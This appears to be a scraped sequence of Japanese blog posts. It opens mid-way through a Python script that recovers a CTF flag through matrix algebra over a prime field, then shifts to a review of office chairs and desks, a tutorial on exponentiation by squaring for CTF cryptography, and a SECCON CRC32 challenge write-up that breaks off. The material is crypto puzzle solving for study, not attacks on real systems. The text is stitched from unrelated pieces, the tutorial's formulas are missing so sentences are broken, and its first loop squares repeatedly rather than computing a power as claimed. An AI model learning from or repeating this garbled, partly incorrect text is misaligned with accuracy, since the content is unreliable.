" [5051135080072861288798435824503110926994493619586245642460877880935752533515940196736169083797175764433762946678725893887858519385471685741552158529711276, 4102452874189482900524516981356786501197215832466956832817896838054663136765460104493801314869232759245133030456663626153667325758368279203778403432167740, 6306187871445324721376028421212670926552209813936211954520585336810602819267101506169718411421085148520086757665184120904287963419432043464919483057889859, 8328463466878712357313253597849642119569898605708059781061663754766211682048352203469195772736253373810214056772615440398633838901856411113830699894028465, 6792826073105939873548388201953839873511062908686062106913623174036319189281934299265013193622515976679150220086212298338695977994879351935051323515019725, 8222846534254829017465474490124055984869791814151427753473235321005609679939356328656972535469231806107671122663048839094219850517783054335244532555523173]",
" [3224859092637084414354411757846114488051905333691150307140504291739518185949079400485330657809362670203758062221915633950568994535207362393891762112759213, 1402213184987687066473420113301291318947369461630152474675998702355080682116923891579872909936779692586430073361789636509965905709544271009812782560170261, 4938156402135532483449602834359857275247357120687553783936631304847299511487993180810248854600136936744615435937883396705582356322840802517280942999688676, 3478026486685252250847811456053848120324037883921786789252387532110297642203456951104817930735414530345554362717170717556082209886160388068405878050810154, 5005068559735767319230350882159667676326296721912586682081472060979786792450524503756347953787133748024741685340873319209665339750665659595129267838724047, 7611267542910413742864285271293198211217621166864242229900616279101604969849441935423682615592901088027744831142761813333332038967085050085153868636999389]",
" [1014414274464156389545887226471576007761853927035338985136533491973433772975257339792553409486536524724353149236175919357824388859589016173188078077544033, 7895138478046132656991279703137609694170854693851576758647957367888621325306284581080934827097026107157210615304175172340829324703784897725230628183706786, 5176615217071731589702948277923734636443872704037638473482289661043716019888704737763354260348856139062485783768726715584135447436124158730742161914891551, 2097836864953804378531689095465408458369427097280901198203599718467594836880835567307831867127941722028682757812487712436283696296458947234888473138795739, 4771991159213767563692205071745593603786155666455449976593966887126725218122123840771200082010022206861827920348139510860675015265589355532522990639810817, 2556505047659214709675163115561631793697740584576810567166618831599306359182599941080724275734024102715328015954454731737423615177051807859090091090443794]",
" [681533232518836985289954800204156351077079822942520143600452578095367034898668130667529896315193148854619919663954540988289801372079675164665542460107361, 1250221324909133315777380655846656103749650131290697378565324568377782229062513394587727898375482701685037999041225396581295398170197587722204515994930450, 2986395300837570550870677677696621832455805179189205862994626042937278335849178892402982806468533967804109247741429284249954632439250338615415480008234827, 3842018511852504122498199184515997741982923387046998311137498610169243624216674767262683322192215528258119752070686830123883419745010157250560986939427524, 4640056504383112245586533751493756860209550650970050673042450028152879682379483766057544789016990961020117905189009677752546361605873827041840445232333009, 3241776025309710871791852789847911737036999175777475448208696464457037977086550412211729231764676546174077682994919805913962597750838490410677877013728679]]",
],[
"[[3925778235441558180881453368193221291691056546093085629719575442507425164108074468891396652205650879889352716808664348173992523215390473908898279233801414, 6786236996055436847088656629009571857079021280691151803850611635847176412935426902102220660966708023472464567722741215102149358257283707850226844498176338, 5336601022505450016415061694023852903796368651287115305963559754445490803150781351830931355559102791684084040692129886780782904068496696739166373225781182, 998868830631254637983637521012035822140662269216170110192996151931756960950320954174523240474157438927120506516208572469379223565138309388961430181881695, 1708759996913140886988216976125001687286182686839095567390266582350483709924884932173272391250162358270445073028626761217680251493023914391510743515217811, 5358389653989286662502363312276141964701054873298546069125330585565060633006885059531042580273849934632172848238339750423863700593945261237875263708271576]",
" [6566818891908601642198888392330156930042068651759819152370527365997552190681188977857404446537050534609642348362614396990717378593009470491269698893719927, 1031101775942775287016866592108364909981264870277981971770663139913917773964280054850517647630443278419275580826809411711239874520744416138903427799244555, 6524752095282814630322258945430094637255402513614451322991838708184387336044724033932990451659241316766022270457485764637463023839355357500021618566070292, 2613884497206606013004885461414659237183478942574139230341683815390781718949756154589598490701210069252522878818743551035827011661118582086327381137013000, 6399504294264274736463546412013840740786493641707197875156001976248296035018683882373417088510862746265515980757045470425584455202655092042474712427811853, 7648153586167154617533946886977499718050396558647026402819513881039439266700846695482170207864197173955461792054948157539361109466291302344683138018628610]",
" [7807660711822637762557988261857971231614795200807011392219450030081625035602009408344323020532241277458049256413234095662342187032693814510628974220553789, 6404290005910285845288888756695548069946128563034760743200772996164632994710554175824643672683171898070653465170235743970808387164291288410255592252665479, 7145820732880643161292993687975828061608307352265755530784841001628971312586770768906184846878446322646098014767246222344293599082131962615681304617559937, 7628253420868446165455236407732101093891526753322184971669618231430181405070158455474847663291294176810947596822159250033173103223766616159185920485946728, 2090313038890847900095317779072404893497882149338354748318837249302187827614992193357505154265032174283442253885368383749997435310732830544400884064365018, 5219899086734560823989485770691671166722062251862050324141103205321249132758034981966264229432003323127304005180305229765593770315281339268149302548405905]",
" [5780077132944548981315087748862031838264177043627647708417829007727204033260341880372990490057155497846523781967705196773723910298757508898564491062760036, 7764572114806542067976787720634340703411819807450756682140679026395918479537011742465926434525359106327770790857794576278823847946952438676340969128270524, 7559634822977851125830670211687658680548763044099170874516709265108758767846112167078737376994795559905149294471550276089335233816311143437884775879040382, 326254091227477180817965783454170870965767896452885532388493678916823013955810072598402438281924110666128100203506218327819701065408806755407311242830738, 5731596309693665523852926746771775355890783262849623500406449060161971464328383264312865196214018797256234617560753577120786636638666677285451693301826874, 7404061235786259951035122313316357035326138605958066151911510399406179421906000352109994409639582191672322145179346551952977284953661871236345035551643559]",
" [3911261385088713404178680962763362480020705001343376022137877539868703582949786882301468111731738482621273128463078344110346744985662065964717123370890048, 5182347318944101741047020457700515657663431560069338900640991271534150578557263571458602649911502484162274344604878608085914242528813859150266864472864055, 4113917568537120381356457423745534038972536405233025591699403191216749955530513145558907813326761841478883887357886390362468819176094300743319337987695288, 2072785336079346585597399902623343463262963010531407207279118728023210910883994521073623011652275525853218179683112438087816997406431656841576569623210035, 1614395370662982438105904065510318843109739279928729356829880223846164085280733154395904831113364353086361418717316648687269044568724510821076200388146799, 5863778364604464946964497843188609336149950725655659873794081813823455773635006266332380667539003424481763026279565127653919541126052476132072206331424594]",
" [7983584746949211766343449547629642346296363313500362244066708177449631881826092651075422492952001253228855123960980277966900405689704632714432967498484226, 1288307055386703195839027394387216551385527560692699651477173401131902963469696735151733903079959278020677916910977696831055081573561511073846927376256692, 6270323089735925338179425358013227805458041914301377149014905504918291952361156820790619114360082531273092120840155385794344284855024292991803639522103081, 5782364796584782189497636925354222662254467562076277474323726166388076788964953994373815196911195887319899245026812066447482998182803721563378567961829818, 6113190818954553030552994011835099246796829278768221321371588158185370782968533815899125811940443313705532159850973811576561087696556104923873257882479503, 2676810376308276168570457483867670902787901207942587380088818908288267563610106817220355331680484281456097962585320084246177558207079050833163151172240100]]",
],[
"[[6062046640329769096066347266899344676518901424429677360646881995838432089480753859799954198529491903772366471182818165193104084715939869694295808095169244, 2645972949243632679993524792763632939476426123910556548564560294095449556121207934796944789997380888272126869359673329287393517342730405719261920502815690, 4078873454171494440712760753790949913288116217555158559586210992551002228548905061438821563993597452426590399655648106687403380921628528355963355080374265, 4333661183316573400164625776320711148398882477506941874412702476023727762467167141000832441759366697420902090012329863483820494712256118052345124078874762, 1643129857177025277330956077514109151247811803981705026717771397102270544586613572184236479067496036405806050260907314693132506357890072792960199482937702, 3186695377530638044448732645215392962402584227103333957181004757567478066955151221187165402121567058163359566953064325563721057900313620317362224465449560]",
" [4112567272140845118113865323444914152704692913409123036147341332398481620273356124978023098296481278228998395235117080254166863865484884607410534392310433, 5854344777452763751097312294575305394885110378245323007589910653339136099487547731936058883676897252944352967735775656496547751132757455499551970245425695, 1383138462574499208366589677289918289066754568064661123478346405809764044891958550030515860818138813893837769554854346051723380051040706818338266460108085, 3859446362836598601037412670681022610557908363600326437416225834507694256913931635777789583222556658572260420088594981565374903384233104117976716435128615, 5028760960461040237873320988275247800014398438668440684236820078236290946429429847533016197725488392506053663385798495798038029931617686217931659311236577, 6161254689987519993541039359721652203587202489152871519507943406190644699498266677880568298404777283332441875077644287228979625803700792474783257776782898]",
" [2839585528369409537726670324854672351454758739229786962469516025462840896615626487007817505904636181798101356169880922688301010910248372536318374104030837, 3185034375513710767633230407329300883151496752716040907683365122241815980723188210375562712083768961261355679173009969012309355153692479187436434699711413, 6672246490840772483328152820802055369074899989726836656614268373590524941644149544728485295788618518339997370708760033538160320833911042156114289430168259, 5420252409537029953512981491888019273939802832634059227004256144252860658279882608027272305148901727714247347144753337036141392782353284297264841536836513, 6429854942597383381715468912420195144462372782099126346515096540151062791928464705591391035816405642392728189569695563372806696329669731312290571958735810, 4739973823698645126172000947573053104818869466920332224259684318455703001958106888954074170831875999738674280263907238286553827319483847757151441426037337]",
" [7160862920770573382803644270243409458344098437187945311730891505022003883855285433976426170530604877024704460410748767481644754029528136169144880271809942, 2982103442515595288480027691778062690974166320158860941512836364746339464602867166278144116624540536139667972898410328295252686833780910040354031954223861, 6801905207555179956663480676263622404196546939273620494586200842625719854748268350134734347190401180541240367661248898456285443367167073411863950249499784, 1804183631544749515380449970137190291551922148246932745543193886115473113238103625577173800110106738950279159165741239630881015351100075657555603208156572, 601303393353936587233143018348327514440537229204925355322863165159291608922791557180307655583347738695334390822114847716269285547628496038850682989195945, 3115043018476760470716778954693273867118177849778686173519197879968835346655049669088025773374695331007216646868547709804147138659886084250136406402373946]",
" [234732275890345520245269906185880853426295436495492487638898148897993088052508957345280523140452139731256610712171896823418109206081027739725997049682853, 2044344758191381548277686823346016787554087283914005137083650916606115214158766441015566914050850122771946897225094531584945555039517089084999132949468374, 7254754260273505971755055190211929477946291863572727414373604625985840488234836752591368709282254266996209626541708612447084110635848051619312425745792419, 7253664260337944026945613428526836927937258266183047391208573088495421355299785318314244776750560920526330573163746025787662536293742195309918444949322935, 7700794835235627079708396467395803405253945316799593198326551968277842336451710680326440904239414627790908277676500941871815612380684137252049009143144583, 4359667354761477859323604731674300022892629045902113159750662915978964376123159133774964413843996619985211324214953008678665896068362064613729703695684586]",
" [1982734601050456939622697412656537242410995818999376063699048774745566510719836647800626453301545759203265934880610248959877086754855616793997676519501000, 48444326299314727120264342021096295946188263957294065774623047610650201700284470836672752248859628658272340463659827184321911992786964678919015096092833, 7898882528690416721795166887344597285693019520535720413050562199503248438027405375885046647064471192860726120136404562695218116510707927812379288910405142, 5814915760931558687408291397989673234462869962308320236220753890460437354255210609282226355431168198251409670965884826558309978852728087972301947103526495, 4767523913179602297846755936265701569903707551389517453417811324700532889998073304033759550016535805108271456969527959648026982751361633799472092657434286, 5346704789523742907790623142409450623003295048473687834443737913041729246709285231357410413236097410528723341348129830251075816904565861886692668785582732]]",
]]

C = to_mat([
"[[7914132327984568994494883270649976522617339419584229584506320069267100426825780120870985916691616230746312073199739273003383604542199755254171664177084611, 4629776712629310456839625757811438237757065307306314354274828526350520266140179766016721666163654385874219479722183713650673141826852864505630096792189721, 7109204164372242881091925094024019359516091108253460412453366571310406702727031148959274883834909062514400620116562591756691700690727290842392201330872788, 2477559773134163112278937317769341245426053204371422009050567367592349746344450879892782729995511108976496874441648643289285371630272858565243645233997772, 5459877678587757430993568968742145916322083648966017912323213093851741541306674468422028381552505664502178573619525013642403269863611523582838113438963699, 4533850561319753809921018667771099687554603071040623474974671759150963370392613040094306554975171133182503458567984982962204953859396760670470565737289294]",
" [5343449757099849857840769777066997342636505892090645356193395991104145176841294738919368585450934162811108961397832868384600016965604379061454200372301203, 1103129151964579496425084776093263683101432126361676754196377325350074990644308071155967500791176019665296214184943390296688059347549352037365934949955138, 4633211618656319595822361077837532752589824229121651976824075655607724950274744397342724545215854488249828970851532695298375831137441663711799165905012260, 1142378635202578563995121528757512604785824832961174761942529090983399609747221221100359313680419658913148360441213482866465529903398212065475540281107753, 7054157717567957719036149099411851220142044683803466107213295655009718695697881702017302236225450159546528341540899764632776223069940786924063351909113511, 3124377620355697989207793493460638982912257463919934159069355478358946967537260119064254546754263422314844896114812142404263656938250991950525158189122329]",
" [3582954385464445051633609412194910501954310865400807954104461037336443952448097916837602428414282311641201394962736563657742667074291829173632356429121860, 3751634377192187688438461016605077306894846758825439550172971308702864693321006221526803973890746948637687111194699251457722023987352978563084604066206392, 6469836409132372383423389593904400360484608990214822698145675592103054135172959919782038268886048766370788577793152790221499470021076842697287128809824716, 7291702808883045213981690179732663971457889104053942053452260890612893624965320906401039537972764864636739967358681895464825791182085739144982987182635699, 3299753974417550414490414013799107429472287039209413803586635670873024010159864814410287887785321413859255563702124618725499396419267594253011453058695665, 8256748339427246020068747450621026909576116516431246273373345876688375617509366683335678087877197103612629520339292051986808534369102511798238519847195826]",
" [3781612888809757574721491791083186900490945181056011662203424669866448824354699245155713093767699667147704234146189496900196982924950531015334241513401382, 1441227185159609962486765718490329894521945105600143839531490217345659397106380353698212399501875433636729515142714959019326095275246494145877181035418817, 4667669827386245370894887474221521799230065519101908048880250201454346640389680725820864364053381720083360963218910847369365413718623339339707014057956602, 6497087697271785860409372509454324924932647104416678122495914854826753688933949185773561957150489234181663761283750950436059446435033635828461039281191893, 24303749714021422066853220320522782093785924203813745587997307099973056253098798052337823966363261100222814906708352084803660128961942567447633014524323, 4948047469975016041976070123869487345730410005224892018723874308568824112508195260066007656211743464385761979800624180845457585164271927377307621282881482]",
" [2311236231274214430521863711861390409492558254483679558651966539918976267350234754052165248990122381821778554332481410622118479167054397864336117606769703, 7112696162769751792741511097930473282299866429103877319791352829249242978872309127849912410612476444652257696041027013185592182549694296522184072992258344, 670900800318924754524064350761756947449780512175550856877662840971700134896135544689162339422880571543056204472373171946000715663246113979716744105116364, 1257013013813211928917177461658770061468745337885024039490468945704252059669709771398068625685809197173084826889182441777168181244798297421758785757645816, 7670541068600080731246190686115266527520699113715449700906377627569335299090936689666939385880728437086949946998296712390824453668287895792960050257732700, 477801656897543780130206565511046282794203630041030989732746299664487329519994676419042200405279554430951006645073219338411872667031587208958581843630924]",
" [4298688725784585139768411709267989930814192997497489035906391531015200859775089864406895675490276200087674026753346242346207362403084607316379244135673147, 4449113101274552188601004601050530818104217769635849707791480317804438859455460290007508349450878333574389214698881472277067463146427398869912440841758560, 7852661916977582595529059003286805430692091224392567243784624688721596428049862573507968530054257973460884826434351919953590997089599078453855570141717668, 1469040138293943931236145059484628468407768140457058426223810726475203075773661416758988227467103058982368053618258786231735244267495262044199307956993801, 7917782387893055716775937224863842109301303026784902768707824273834234694637771018423203435967997819181839780740281536813589650752392482436045244089943192, 3785594509974037367372361126001917741631347551629193942913879321086819286343616686476030466180567764275617014357842750633129567304810960536013531431858527]]",
])


##### U #####
U = [[1 for i in range(size)] for j in range(size)]

for c in range(1,size):
    mat = to_mat(encs[0])
    U[c][0] = (mat[c][0] * inv(mat[0][0]))%p

for c in range(size):
    mat = to_mat(decs[c])
    for r in range(1,size):
        U[c][r] = (U[c][0] * mat[0][r] * inv(mat[0][0]))%p

##### Uinv #####
Uinv = [[1 for i in range(size)] for j in range(size)]

for c in range(1,size):
    mat = to_mat(decs[0])
    Uinv[c][0] = (mat[c][0] * inv(mat[0][0]))%p

for c in range(size):
    mat = to_mat(encs[c])
    for r in range(1,size):
        Uinv[c][r] = (Uinv[c][0] * mat[0][r] * inv(mat[0][0]))%p


# for i in range(size):
#     for j in range(size):
#         assert (((Uorg[i][j] * inv(Uorg[0][0])%p) == U[i][j]))
#         assert (((Uinvorg[i][j] * inv(Uinvorg[0][0])%p) == Uinv[i][j]))

Umat = FiniteGeneralLinearGroup(size, p)
Uinvmat = FiniteGeneralLinearGroup(size, p)
Cmat = FiniteGeneralLinearGroup(size, p)
for i in range(size):
    for j in range(size):
        Umat.set_at((j,i), U[i][j])
        Uinvmat.set_at((j,i), Uinv[i][j])
        Cmat.set_at((j,i), C[i][j])

mat = to_mat(encs[0])
mmat = Uinvmat*Cmat*Umat*mat[0][0]

arr = []
for i in range(size):
    for j in range(size):
        arr.append(mmat.get_at((j,i)))

pad_size = arr[0]
arr = arr[pad_size:]
res = ""
for v in arr:
    res += chr(v)
print(res)

椅子・机選び備忘録

この記事の読者の対象

• エルゴヒューマンとかアーロンチェアとかの購入を考えている人
• 合わせて机の購入を考えている人

筆者の机の上に乗っているもの

• 27インチ4Kモニタ
• 23インチfullHDモニタ
• Majestouch2 (https://www.diatec.co.jp/products/det.php?prod_c=2636)
• リストレスト(https://www.amazon.co.jp/dp/B073S7L9N4/ref=sspa_dk_detail_2?psc=1&pd_rd_i=B073S7L9N4&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUEyOFMzWlFESlhTWTNWJmVuY3J5cHRlZElkPUEwNjU0MTE2Uk5FWVlCS1dPRkRPJmVuY3J5cHRlZEFkSWQ9QVhKSFI2WkM1TFkzVyZ3aWRnZXROYW1lPXNwX2RldGFpbCZhY3Rpb249Y2xpY2tSZWRpcmVjdCZkb05vdExvZ0NsaWNrPXRydWU=)
• マウスパッド (https://www.amazon.co.jp/dp/B01C4A36DQ/ref=sspa_dk_detail_7?psc=1&pd_rd_i=B01C4A36DQ&spLa=ZW5jcnlwdGVkUXVhbGlmaWVyPUEyOFMzWlFESlhTWTNWJmVuY3J5cHRlZElkPUEwNjU0MTE2Uk5FWVlCS1dPRkRPJmVuY3J5cHRlZEFkSWQ9QTIwQzY2QVVOTDc3TU4md2lkZ2V0TmFtZT1zcF9kZXRhaWwmYWN0aW9uPWNsaWNrUmVkaXJlY3QmZG9Ob3RMb2dDbGljaz10cnVl)
• ちょっとした卓上スピーカー
• 筆記用具とノート、時々教科書
• 時々ペンタブ

椅子

概要

椅子は多くのイラストレータやプログラマが言うように、長時間の作業をサポートしたり腰を守ったりする重要な役割があります。長く座って作業をするものなので、家具屋さんで決めるときはちょっと座って決めるのではなく、一定以上の時間を座ってじっくり考えましょう。

アーロンチェア

storesystem.hermanmiller.co.jp

ハーマンミラーという会社の昔からある椅子です。歴史のある椅子ですが、実はアップデートがあってちょっとデザインが変わっていることがあります。(なので、中古品等を検討する場合は注意しましょう。)

リクライニングの硬さ変更や、アームレストの高さ変更など、高級椅子に備わっている基礎機能は大体ありますが、最近の椅子に見られる座面の移動や、ヘッドレストなどは正規品ではついてきません。

どこの部分が動くのか、どうやって動くのかは意外と難しいので、店員さんに教えてもらいましょう。ネット上ではここで確認できます。

hermanmiller-maintenance.jp

なんと言ってもやはり特徴的なのが、前傾姿勢モードでしょうか。 高い椅子を使っていても、やはり猫背気味になって背もたれに背が当たらなくては意味がありません。 そこで、猫背になっても背もたれが追従してきて、意地でも背もたれを使わさせてくるのがこの「前傾姿勢モード」です。 実際使ってみると、ゆりかごのように椅子全体が形を変え、椅子が体にひっついてくる感じが独特で個人的にハマりました。

値段は20万弱と機能や座り心地のわりに少し高い設定になっています。これはおそらく「ハーマンミラーのアーロンチェア」というブランドが少し高くさせているのだと思います。

アーロンチェアについて特筆すべき項目をまとめると、

• 前傾姿勢モードが独特
• 座面移動がない
• ヘッドレストが正規品では存在しない
• 高い

といった感じです。私は今アーロンチェアを使っています。

エルゴヒューマン

www.ergohuman.jp

エルゴヒューマンには色々種類がありますが、足置きとか手元にPC置くやつとかいろんなパーツを付けることができます。 また、10万円前後と、アーロンチェアの半額強程度の金額で買うこともでき、コスパがいいです。

エルゴヒューマンの特徴は、「独立ランバーサポート」でしょうか。人間の背骨はS字になっているので、一直線の背もたれだと人間の体にフィットしません。S字の凹んでいるところにフィットさせて、負担を分散させるのが「ランバーサポート」なのですが、エルゴヒューマンのこれは独特で、独立して動きます。 なので、とても存在感があり、人によっては座ったときの「異物感」を感じるかもしれません。

このランバーサポートに体が合うかどうかがこの椅子を選択できるかどうかにかかっている印象があり、実際に座ってみて決める他ないと考えています。

その他ベーシックな機能としてはアーロンチェアと一緒です。

エルゴヒューマンについて特筆すべき項目をあげると

• 足を置くやつやPCの台をつけられたり、アタッチメントが正規品で充実している
• 独立ランバーサポートが独特でかなり好みを選ぶ
• ヘッドレストもつけられる。
• 値段が10万程度と機能の割にコスパがいい

といった感じです。ランバーサポートが私は合わなかったので、この椅子は候補にあがりませんでした。

バロンチェア

www.kagu-r.com

バロンチェアも比較的後発の椅子なので、アーロンチェアに比べて多機能です。座面移動とかもありますね。

アーロンチェア、エルゴヒューマンと椅子を紹介してきましたが、バロンチェアは「オカムラ」という日本の会社が作っている椅子です。日本製の椅子なので、やはり日本人に合うのか周りの知り合いに椅子を紹介したときにバロンチェアが一番フィットすると言う人が多い気がします。会社もオカムラを使っているところが多い気がしました。

バロンチェアは「包み込まれるような」座り心地で、体を後ろに倒して、頭もヘッドレストにおいてリラックスした体制での長時間の作業に向いている椅子な気がしました。

日本人にとってバロンチェアは長所はあれど短所はない、オールラウンダーな性能をしている感じがありました。

ただし、後傾姿勢を前提とした設計をされている気がしており、前傾姿勢重視だとアーロンチェアに軍配が上がる気がしています。

値段は15万円ほどと、アーロンチェアとエルゴヒューマンの中間くらいの値段をしており、こちらも無難な金額だと思います。

特筆すべき項目をあげると

• 日本の会社が作った椅子で、日本人にフィットしやすい(?)
• 頭まで包み込まれるような座り心地
• 比較的新しい椅子で、多機能

といった感じです。最後の最後までアーロンチェアと悩みましたが、私は前傾姿勢で短時間で作業をすることが多いので、アーロンチェアを選びました。

机

机は椅子に比べてブランド云々で選ばなくて大丈夫だと思います。 ブランド観点では選ばなくていいと思いますが、いくつか観点があるので、そちらを列挙していこうと思います。

ちなみに私はこれを使っています(高い…)

rdpp-me.org

大きく分けて、以下の観点があると思っています

• 横幅
• 奥行き
• 高さ・引き出し
• 重さ
• 天板の素材
• 足元
• 袖机
• L字にするかどうか
• 昇降機能付き

横幅

原則大きければ大きいほどいいです。冒頭で述べたものが机の上に乗っていますが、私は横幅150cmの机を使用しています。 横幅150cmあれば、モニタが2枚置けて、さらになにかを執筆するスペースを確保することができます。 かなりはかどります。

奥行き

机を買うときに気にならないがちなのですが、奥行きも重要です。 奥行きがあればキーボードを奥に寄せて紙で何かを執筆するスペースを確保することができますし、ペンタブも十分に置くことができます。

モニター+キーボード+リストレストだと意外と縦幅を消費してギリギリになるので、70cm~あればギリギリって感じですね。 私の使い方だと75~80cm以上あれば大丈夫かなという印象です。

80cm以上になると、「オフィスチェア」よりも「ダイニングテーブル」になってくるので、机の探し方には気をつけましょう。人が一人食事するスペースが奥行き40cmと言われており、80cmはそれが二人分入るスペースだからと言われています。

高さ、引き出し

自分にあった高さのものを買いましょうになるのですが、椅子との相性もあるので、家具屋さんで確かめれる場合は、椅子とセットで考えましょう。

また、椅子を机の下に収納する場合も高さの制約が付きます。 また、引き出しがある場合、アームレストがついている椅子だと絶望的になるので引き出しの有無はそこまで考えて購入しましょう。私は引き出しがついていない机を購入しました。

重さ

重い軽いは机の安定感に影響します。下にカーペットを引いているかどうかにも影響しますが、あまりに軽すぎるものには気をつけましょう。

天板の素材

IKEA等で購入する場合、安い天板がいくつかありますが、あまり安い天板はものを載せていると歪むものがあります。事前にレビューを確認して購入しましょう。

足元

足元がスッキリしているかどうかは意外と重要です。たとえば、机の足元や奥に天板に張り付く形でガードのようなものがついているものがありますが、モニターアームを取り付ける際にそれらがじゃまになってつかないケースもあります。

袖机の有無

袖机の上は基本的に使いづらく、物置になっている机をいくつか見ました。 モニターをおいてそこは基本的に使わないという意思があるのであればそれでもないないのですが、広く使いたい方には相性が相性が悪い可能性があります。

L字にするかどうか

L字はいいぞ！！！とおすすめする方も多いのですが、欠点もあります。たとえば、掃除がしにくくなったり、L字の短い辺の位置を交換できないものは引っ越ししたときの部屋のレイアウトに制限がかかる可能性があります。

広さは魅力ですが、気をつけて購入しましょう。

昇降機能付きの机

知り合いいわく、手で回すやつよりは金を払って電動式にしたほうがいいそうです。 私は机の広さを満たして、なおかつ買える金額の昇降式の机がなかったので購入を断念しました。 なにか知っている情報があれば教えてください

まとめ

以上、私的な椅子と机のレビューでした。机に関しては特にブランドに強いこだわりがなかったのですが、どこに行ってもほしい性能を満たす机がなく、結局椅子机すべて大塚家具で揃える形になってしまいました。

高級な椅子や机は多機能だったり素人にはわかりにくい、長時間使わないとわからないような特徴があったりするので、積極的に店員さんに話しかけましょう。

私が近くにいる場合は私もお手伝いします！！！

SECCON予選のCrazy Repetition of Codesのための繰り返し二乗法

はじめに

このブログは以前SECCONで解いた「Crazy Repetition of Codes」という問題の 解説記事(https://kurenaif.hatenablog.com/entry/2019/10/20/213842) の前提知識である、繰り返し二乗法というアルゴリズムを解説する記事になります。

繰り返し二乗法

繰り返し二乗法はその名の通り、二乗を繰り返して、効率的に 乗を求めるアルゴリズムです。

例えば、 を求めたいとします。

pow() 関数のような関数を使わずにこの値を求めたい場合は、

int x = 1;
for(int i=0;i<n;i++){
    x *= x;
}

のようなコードを書いて求めるのがお手軽です。この書き方で 乗を求めようとすると になりますね。 ( )のほうが適切という説もありますが、このブログでは計算量をすべてビッグオー記法で説明します。)

しかし、人間が計算する場合は を求める場合は順番にかけていくことは少ないと思います。例えば、 を求める場合は と二乗を意識して計算することが多いのではないでしょうか。 8回計算しなければならなかった掛け算が、3,4回の計算で収まりましたね。 を求めたい場合は、 を知っているので、 を計算すれば良さそうです。 これは電卓が必要になりますが、コードで実現する場合は実質電卓で計算しているようなものなので、気にしなくて良さそうですね。

では、この工夫した計算方法では何回で計算が終わるのでしょうか？乗数が倍々になっているので、 番目の乗数は になっていそうです。逆に考えると、乗数 の 計算回数が知りたい場合は log を取ればいいので、 になりそうですね。

や を求めたい場合は良かったのですが、例えば を求めたい場合はどのようにすればよいでしょうか？

幸いなことに、世の中には2の乗数で任意の整数を表現する方法があります！
2進数です！ は2進数表現で です！ なので、 で求めることがきますね！

よって、大まかなアルゴリズムの流れは

1. 乗数を２進数表現する。
2. 1が立っているbitに対応する乗数を掛けていく

といった流れになります。

具体的なソースコードは以下のようになりますね。

int pow(int x, uint64_t n) {
	int res = 1;
	while (n > 0) {
		if (n & 1) res = res * x;
		x = x*x;
		n >>= 1;
	}
	return res;
}

これで任意の整数 に対して、 で 乗を求めることができました！

大きな 乗を求めたい場合は多倍長整数を使うか、剰余を求めて有限体上で計算することが多いと思います。掛け算をしたあとでも mod計算は有効なので、xの10億乗を で割ったあまりを求めたい場合もこのやり方は有効です。

ちなみに、Pythonのpow関数では第3引数に剰余を与えることができ、計算も高速なので、気軽に整数の剰余を求めたく、Pythonを使用している場合はpow関数を使えば良いでしょう。言語や実装によっては遅い場合もあるので、自前で pow を用意したほうがいい場合もあります。

CTFにおけるCryptographyと行列

CTFにおけるCryptographyでは、アルゴリズムの内容を式に落とし込むことで考察が進むことが多々あります。

最近私が解いた問題では、SECCON Beginners CTFのPartyが直球でそういう問題でした。

kurenaif.hatenablog.com

ある(平文)ベクトル があり、処理 をかけたら (暗号文)ベクトル になる。ということが行列演算で表現できた場合、以下のような式になります。

もし、 と が与えられ、 がわからないという問題だった場合、 の逆行列を求めることで、 を求めることができます。

Cryptoで逆行列を求めたい場合の注意事項ですが、大体の場合は64bit整数に収まらないので、 numpy 等の機能を使用すると、bitが溢れてオーバーフローします。自前で実装するか、 Z3 などを使うと良いでしょう。
また、行列演算も普通の整数ではなく、有限体を扱う場合もあるので、問題に合わせて使うツールやアルゴリズムを選択しましょう。
高速に逆行列を求める必要がない場合は自前で実装しても良いかもしれませんね。

逆行列を用いて解く問題の例として、この問題を作ったので、よろしければ解いてみてください！

github.com

github.com

他にも、メルセンヌ・ツイスタという擬似乱数生成アルゴリズムも、624個連続した値を取得できれば次の値を予測できるということで有名ですが、これもアルゴリズムが行列で表現でき、逆行列が求められるからという說明が可能です。

行列表現と繰り返し二乗法

アルゴリズムを行列で表現できると、逆行列を使用することで平文を逆算できるといいましたが、例えばどういうものが行列表現にできるのでしょうか？

暗号とは関係ありませんが、有名所ではフィボナッチ数列があります。
フィボナッチ数列は、以下で求められる数列です。

a[i] = a[i-1] + a[i-2]
ただし、
a[0] = 0
a[1] = 1

この式は、実は行列で表現することが可能です。

n番目のフィボナッチ数列の要素は、

のようにして求められます。行列表現をすることにより、n番目のフィボナッチ数列を で求められることにお気づきになられたでしょうか？ 行列の掛け算を繰り返し二乗法で求められるからですね。

フィボナッチ数列の他にも、同じあみだくじを 個連結させた時の最終結果も繰り返し二乗法で、 で求めることができますし、グラフを隣接行列形式に落とし込んで繰り返し二乗法を用いるケースもあります。競技プログラミングで使用する場合は、行列積に3乗のオーダーがかかるので、大きな行列の計算になる場合は気をつけましょう。(100個の和を求めるフィボナッチ数列みたいな問題は危なそうですね)

序盤で述べた SECCON 2019 Online CTF Crazy Repetition of Codes では、CRC32というアルゴリズムを 回適用した結果を求めるという内容になっています。この回数を愚直に計算しているとコンテスト期間中に到底間に合いませんが、CRC32をうまく行列表現し、繰り返し二乗法でlogオーダーに抑えることで現実的な時間で解けます。

以前のブログで解いた手法では、CRC32を求める過程をうまく行列表現し、logで求めています。
私のアルゴリズムでは の計算量がかかり、多倍長整数演算も行うので比較的速い言語で解いても50分ほどかかりますが、どうやら で抑える方法もあるらしく、かなり高速に求める手法もあるみたいです。

まとめ

このブログでは、繰り返し二乗法の說明から、行列表現、CTFにおけるCryptographyや競技プログラミングでの行列の扱い方の一例を取り上げました。問題を数式で表現すると、様々な性質が見えてくることもあり、考察が捗ることも多くあります。もし行き詰まった場合は一度数式に落とし込んで、世の中の使える定理を調べてみてはいかがでしょうか。

SECCON 2019 Online CTF Crazy Repetition of Codes write_up

SECCON 2019 Online CTF

Cryptoが3問出たので3問ときました。 特にほか２つは言うことがないので、Crazy Repetition of Codes のwriteupを書きます。

問題概要

crc32 という符号化を int("1"*10000) 回かけたので、その値を求めてね！という問題です。

import os
from Crypto.Cipher import AES

def crc32(crc, data):
  crc = 0xFFFFFFFF ^ crc
  for c in data:
    crc = crc ^ ord(c)
    for i in range(8):
      crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1))
  return 0xFFFFFFFF ^ crc

key = b""

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "TSG")
assert(crc == 0xb09bc54f)
key += crc.to_bytes(4, byteorder='big')

crc = 0
